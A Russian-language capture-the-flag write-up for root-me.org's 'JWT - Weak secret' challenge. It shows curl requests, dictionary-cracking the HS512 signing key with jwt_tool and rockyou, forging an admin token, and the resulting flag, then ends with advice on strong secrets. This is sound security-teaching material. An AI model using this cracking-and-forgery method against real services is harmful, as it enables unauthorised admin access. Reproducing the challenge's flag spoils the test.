Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "JSON Web Token (JWT) - Weak secret". За решение задачки дают 25 баллов, ближе к среднему уровню.
Перевод ужасен. Из названия становится понятно, что работать будем с JWT, а слабым местом будет, как ни странно, слабый пароль.
Нам уже попадалась задачка с JWT, так что базовые понятия нам уже знакомы:
CTF — JSON Web Token (JWT) - Introduction
JSON Web Token (JWT) — это токен доступа для аутентификации в клиент-серверных приложениях. Представляет собой строку вида "header.payload.signature". Где:
- header — заголовок. JSON объект в формате Base64, в котором передаются данные для описания самого токена, например, {"typ":"JWT","alg":"HS512"}.
- payload — полезная нагрузка. JSON объект в формате Base64, в котором передаются данные пользователя, например, {"username":"v.pupkin","state":"superadmin"}.
- signature — подпись. В формате Base64. Вычисляется из header + payload + secret, где secret — секретный ключ известный web серверу и серверу аутентификации.
JWT выглядит так:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch59/hello
Нам пишут:
{"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}
Итак, нам предлагают немного поиграть. Админ сервера бьётся об заклад, что мы не сможем попасть в секретную админскую область. Нужно сделать GET запрос в /token, а потом попытаться получить доступ к разделу /admin, уже с помощью POST запроса.
Поехали:
http://challenge01.root-me.org/web-serveur/ch59/token
Нам пишут:
{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}
Теперь у нас есть JWT токен:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
Проверим вторую ссылку:
http://challenge01.root-me.org/web-serveur/ch59/admin
Нам пишут:
{"message": "The method is not allowed for the requested URL."}
Метод GET не прокатил, попробуем POST. Я воспользуюсь curl:
curl -X POST http://challenge01.root-me.org/web-serveur/ch59/admin
Нам пишут:
{"message": "method to authenticate is: 'Authorization: Bearer YOURTOKEN'"}
Страничка просит авторизоваться. Давайте подсунем ей наш токен в заголовке Authorization:
curl -X POST -H "Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw" http://challenge01.root-me.org/web-serveur/ch59/admin
Нам пишут:
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}
"Я был прав, ты не сломаешь мою криптозащиту! Я использую HS512 и не нуждаюсь в сложных паролях!" Что и требовалось доказать. Мы определили страничку, в которую будем стучаться. Мы пришли к выводу, что админ-таки использует шифрование, но не хочет выдумывать сложный пароль. И он в этом не прав.
А теперь вернёмся к нашему токену:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
Мы можем прочитать первую и вторую часть токена, header и payload. Для этого нам потребуется Base64 декодер. Я один такой написал:
Берём заголовок eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9 и декодируем, поучается:
{"typ":"JWT","alg":"HS512"}
Из заголовка становится понятно, что для получения подписи используется алгоритм шифрования HS512.
Берём полезную нагрузку eyJyb2xlIjoiZ3Vlc3QifQ и декодируем, поучается:
{"role":"guest"}
Ага, в полезной нагрузке передаётся имя роли guest. Было бы неплохо передать там другое имя, например, admin. Зная секретный ключ можно было бы сформировать новый токен JWT с нужной нам ролью, однако, секретный ключ мы не знаем. Но догадываемся по названию задачки, что он слабый. Теоретически мы можем где-то найти словарик слабых паролей, брутфорсом подобрать signature, чтобы результат получился 4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw. Вычислив секретный ключ, мы сможем сгенерировать новый токен, более подходящий к секретному разделу сайта.
Добрые люди уже написали для нас утилиту jwt_tool, которая позволяет работать с JWT токенами.
https://github.com/ticarpi/jwt_tool
Запускаю bash и устанавливаю её (Я работаю в Windows и использую встроенный Linux через WSL2):
git clone https://github.com/ticarpi/jwt_tool
apt-get update
apt install python3-pip
pip3 install termcolor cprint pycryptodomex requests
Скармливаем утилите наш токен:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
При первом запуске утилита не нашла конфигурационный файл и создала его. Запускаем второй раз:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
Со второго раза утилита начала работать так как нужно и отобразила header и payload, которые мы уже и так знаем. Что дальше? А дальше всё просто, будем брутить секретный ключ. Для этого нам понадобится файл-словарь простых паролей. Если вы работает в Kali Linux, то такой словарь у вас уже есть:
/usr/share/worldlists/rockyou.txt
На в Windows такого словаря нет, пришлось гуглить. Через пару минут словарик уже лежал у мена в папке:
/mnt/c/keys/rockyou.txt
Натравливаем утилиту на перебор паролей к токену. Проверяем доступные параметры.
python3 jwt_tool.py -h
Подходящие параметры:
-C, --crack crack key for an HMAC-SHA token (specify -d/-p/-kf) -d DICT, --dict DICT dictionary file for cracking
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw -C -d /mnt/c/keys/rockyou.txt
Секретный ключ-signature определился моментально, это lol.
Зная ключ мы можем сгенерировать новый токен. Я не стал разбираться, как сгенерировать JWT с помощью утилиты, зашёл на сайт и сделал это онлайн:
Проверяю что lol действительно подходит, задаю header, payload, signature:
- {"typ":"JWT","alg":"HS512"}
- {"role":"guest"}
- lol
Токен совпал с тем, что нам выдали.
Меняю роль на admin:
- {"typ":"JWT","alg":"HS512"}
- {"role":"admin"}
- lol
Генерируется новый токен:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
Подсовываем новый токен в заголовке Authorization:
curl -X POST -H "Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA" http://challenge01.root-me.org/web-serveur/ch59/admin
Поздравляшки! Вот и флаг: PleaseUseAStrongSecretNextTime
Валидируем.
Флаг подходит, зарабатываем 25 очков.
Безопасность
Да всё админ сервера правильно сделал, кроме одного, он использовал простой пароль. Если вы уж задаёте где-то пароли, секретные ключи или подписи, то позаботьтесь о том, чтобы они были достаточно сложными и стойкими к брутфорсу — перебору паролей.
Использование сложного алгоритма шифрования при генерации JWT не даёт оснований беспечно относиться к подписи.